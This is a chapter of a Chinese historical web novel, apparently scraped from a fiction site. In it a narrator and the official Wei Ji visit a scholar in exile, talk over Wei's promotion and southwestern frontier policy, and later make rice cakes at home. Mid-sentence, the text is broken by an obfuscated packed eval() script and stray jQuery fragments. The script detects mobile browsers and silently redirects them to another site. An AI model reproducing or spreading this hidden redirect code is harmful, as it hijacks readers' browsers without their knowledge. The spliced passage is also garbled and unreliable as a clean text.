策马赶到燕子坪，柳行简正拿把剪子，独自坐在案前绞窗花。


    我于窗前探首：“柳先生！”


    韦济执手：“柳先生。”


    “青城、济周！快，快进来坐。”


    柳行简搁下手中活计，去到一旁，端了两盏煎茶过来。


    我道谢接过：“柳先生好雅兴，一个人呆在屋里剪纸，王娘子呢？”


    “刘玉和徐山他们搞什么投壶比赛，她也去了。”


    “有意思！”我抿一口茶水，好奇道，“那你为何不去？”


    柳行简摆手失笑：“好久没摸过箭了，三投不中，她嫌我在那给她丢人，打发我回来剪窗花。”


    我“噗嗤”笑出声，韦济握拳抵在鼻尖，皴着眉，袖摆微动。


    柳行简拨弄着窗花，叹道：“剪了多半个时辰，才剪了这几例，等会回来，指定又要被说。”


    我笑着拿起剪刀：“我帮你！”


    韦济亦取过红纸，捋平对折，叠成多角底样，推到我手边。


    他叠四角，我就剪竹报平安；若是六角，便绞作富贵牡丹。


    他折我剪，柳行简再将纸样摊开抹平，不多时，案上已撂了一沓。


    柳行简连声道：“够了，够了！这也太利索了！”盯看我与韦济，又道，“你俩到燕子坪来，该不会只是为了帮我绞窗花吧？”


    我睨向韦济：“我是，他就不知道了。”


    韦济略作沉吟：“我来是想告诉你们——年后，韦某将去泸州赴任。”


    “升官了？”


    “升官了！”


    话音未落，我与柳行简相视而笑。


    我双手执起茶盏：“恭喜韦大人，贺喜韦大人！青城以茶代酒，敬你一杯！”


    柳行简亦道：“同贺同贺！”


    韦济起身：“该我敬二位。”


    柳行简提壶续水，笑问：“此去泸州，可是就任泸州知府，兼知长宁军？”


    韦济颔首：“正是。”


    我饮了口茶，顺嘴一问：“既然你接了熊伯通的差事，那他去哪儿了？”


    “伯通他……”韦济瞥了我一眼，“即将调任戎州，兼知富顺监。”


    柳行简又问：“原来的戎州府官呢？”


    “王大人升任梓州路转运使。”


    柳行简凝思片刻，骤然起身：“那原梓州路转运使——现在石门蕃承担朝廷宣抚之责的傅求大人，可是要入京宰执？”


    “听王大人口风，合该如此。”


    柳行简面露激动之色，返身去到书架，取来舆图，我接过一侧轴头，缓缓展开，铺于案上。


    “你们看！”柳行简点着卷轴上的罗氏国，“僰道三路夷先后纳土归宋，如今的罗氏国北接泸州，东为夔州路，西邻石门蕃，三面宋地环绕，仅存西南一角，尚与大理相连。


    “罗氏国鬼主受封于前朝，后降大理，近年来，与主国交恶，拒绝朝贡，图谋自立。至于大理，于它而言，罗氏悬足之势已成，凭其国力，能抵住北部吐蕃侵扰，已然不易，再无余力，控遏罗氏。”


    韦济道：“此番罗氏推动晏乱，拉拢石门蕃谋独失败，想来会再度与大理议盟。以大理现在的处境，定然希望罗氏维持原状，继续充当它与我朝之间的藩篱。”


    “不错。”柳行简慨然又道，“罗氏全境千山万壑，耕地十不足一。当地贵族为了一家一姓之利，罔顾更多的族人百姓，不推教化，愚民疲民。


    “大国藩篱，道道俱是边民血泪筑就。为我宋地百姓，亦为罗氏百姓，眼下图归，正当其时！”


    我觑韦济神色审慎，便问向柳行简道：“如此说来，这回朝廷在西南边走马换将，即是在为招抚罗氏做准备了？”


    柳行简点了点头：“伯通善剿，济周善抚。富顺监的井盐岁出三十万贯钱税，然蠹吏频出，近十年来，已有三任知监落马，就连内侍省的高阶宦人亦折在里头。


    “此时调常年镇边的伯通过去，定是上面下了决心惩腐肃贪，从严治监。长宁军乃西南重器，犹擅山地作战，交于济周节制，上意旨在休战养兵。


    “他俩一个有钱，一个有兵。朝廷此番布局应对罗氏，是想抚字当头，恩威并施，令其归服，整合西南全境。”


    韦济执手道：“韦济豁然开朗，多谢柳先生提点。”


    “济周言重了。”柳行简笑着摆手，“你与伯通若能合力促成此事，伐暴救民，拓土建功，他日定能青云直上，制诰入宰。”


    韦济恳切道：“韦某此生不求仕途通达，惟愿我边地百姓能与中原百姓一样安居乐业，种麦得麦，种稷得稷。”


    “夷夏一体，四海共天；六合同风，宇宙齐贯。夫复何求！”柳行简乘兴吟哦，我击掌相和。


    韦济再道：“这次石门蕃犯边，若非二位筹谋得当，韦某或是早已身首异处，悦州亦要沦陷敌手。大家保住了我的命，保住了我的前程，日后倘有需要韦济效力之处，还望你们记得有我这个朋友。”


    我笑道：“种麦得麦，种稷得稷。老百姓心里种什么，就会长什么。韦大人善心善行，自然结的是善果。”


    柳行简抚掌：“青城说得是。大家同舟共济，何分彼此？”


    韦济瞧着他道：“我打算将先生的功绩上疏朝廷，或许能请得恩旨，助你与王娘子脱去流籍，回归故土。”


    柳行简皱眉：“济周莫不是忘了自己因何来到悦州？若因上疏，再犯龙颜，又当如何？”


    韦济坦然一笑：“当年不在乎，如今更不会在乎。”


    “糊涂！”柳行简嗔道，“你个人受谪是小，可若因此而耽误西南一统的大事，岂非要陷我柳行简于不义？何况有吾妻相伴，清风明月，竹影梅香，与故乡何异？”


    目光回转，指向我道，“又有青城、刘玉一众好友，山民纯朴好客。老朽留在此地传道授业，比回桐城更有意义。”


    “柳先生——”韦济轻吁，一脸钦佩之色。


    我笑看他道：“韦大人放心，我们会照顾好柳先生与王娘子。”


    “只是——”


    韦济还要说些什么，柳行简打断他道：“别只是了！既然伯通要来戎府，任是谁接任悦州知州，断不敢苛待流人。倒是济周你，孤身一人，赴任泸州，万万要保重自己才是。”


    “也罢。”韦济起身，“长宁离筠连也近，以后我练兵时，再过来看你们。”拱手道，“这便告辞了，柳先生莫送。”


    归鸟声声，斜阳日暮。


    漫天霞光之中，我与韦济牵着马回走，分路扬镳之际，我发自肺腑道：“恭喜大人朝‘夷汉混居，其乐融融’的心愿又进一步。”


    韦济深看我一眼：“这也是青娘子的心愿。”


    “是的。”我眺向远端，“也是槐序、封峤，山民、流人，僰道三路夷，乃至西南百姓的共


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589827|180828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同心愿。”


    韦济亦瞻向远方，逐字漫声道：“所以——我不能退，更不会退。”


    我单拳叩胸，正色道：“还请济周——勇往直前！”


    韦济回眸，像是恍惚了一瞬，随即笑了，轻声道：“青城，我有一件东西要送给你。”


    我大笑出声：“哈哈，多稀罕呐！你要送东西给我？”


    韦济身形微滞，低垂着眉眼道：“你这样说，似乎在暗示我很小器。”


    “暗示？”我笑得双肩耸动，“这不明摆着吗？”


    韦济垂衣拱手，耳尖微红：“我都不好意思拿出来了。你看到后，怕是会更加嫌我小器。”


    “那又怎样。”我止住笑，朝他伸出手，“拿来吧！”


    韦济探手入怀，手掌包裹着一枚物事，搁到我手里。


    竟然是……


    我托着手中的竹兔，有些想笑，又有些想哭，怔怔瞧了好一会，摇头道：“真是想不到——韦济周，我要对你刮目相看了。我都没好意思拿的东西，居然被你偷偷拿了。”


    韦济的脸更红了，捂嘴轻咳：“吭吭——我猜……他在雕这个的时候，心里是想着你的。一时冒昧，便带走了。”


    翻过数日，巡检司路过补给，又捎来最新消息——东川的归属议定完毕，以小江为界，中段大白河划归宋土，下游以南仍属大理。讨逆大军已在返程途中，饱受战乱之苦的西南边民，终于能过个太平年了。


    临晚，徐嫂送来几包年节小食，其中有一袋胶牙饧，槐序和封峤都喜欢得紧。他俩想吃又舍不得吃，在那你推我让。


    我实在受不了这小两口的腻歪模样，索性叫上林钟去厨房做胶牙饧。打算熬上一大锅，把他俩齁到闭嘴。


    摩拳擦掌来到灶边，一问才知，这胶牙饧的具体做法，我二人谁也说不明白。


    “不会，你跟过来干嘛？”我皱眉道。


    林钟敛目：“他俩太吵。”


    “那再做点白糕吧，我明天拿去燕子坪当回礼。”


    “好。”


    我在盆中铺上过筛用的细绢，倒入舂好的米粉，与林钟各执一端，轻轻抖动绢布，粉末簌簌而落，扬起细密的白烟。


    此情此景，倒是让我想起从前，便笑着对林钟道：“小时候，最喜欢爹娘把我兜在被子里摇晃，就跟筛米粉似的，可好玩了。”


    林钟弯了弯嘴角，笑意直达眼底，好难得。


    刚把他捡回来的时候，不哭不笑不搭理人，伤好得七七八八，就坐在檐下发呆，一坐一整天。我逗他说要找个花盆把他种起来，他抬眼看看我，也不吱声。


    八年了，我仍清楚记得——第一次见他笑，是槐序喊他叔……


    “哥哥！”


    “叫叔。”


    “才不呢！干娘说你比我大不了几岁，你就是哥哥！”


    “叫叔。”


    “你要是……要是能把这只掉下来的小燕子送回窝里去，我就叫你叔！”


    “叔！你太厉害了，叔！叔，你怎么会飞呀？你能教教我吗？”


    我定定地瞧着那双抖动绢布的手，骨节分明，青筋突起，当初奄奄一息的少年郎已长成强健如豹的男子汉……


    心潮翻涌之际，对面手势一顿：“东家——”


    “诶？”我恍过神，顺着他的目光，扭头瞧向门外，看清疾奔而来的身影，不由怔立原地，“韦大人？！”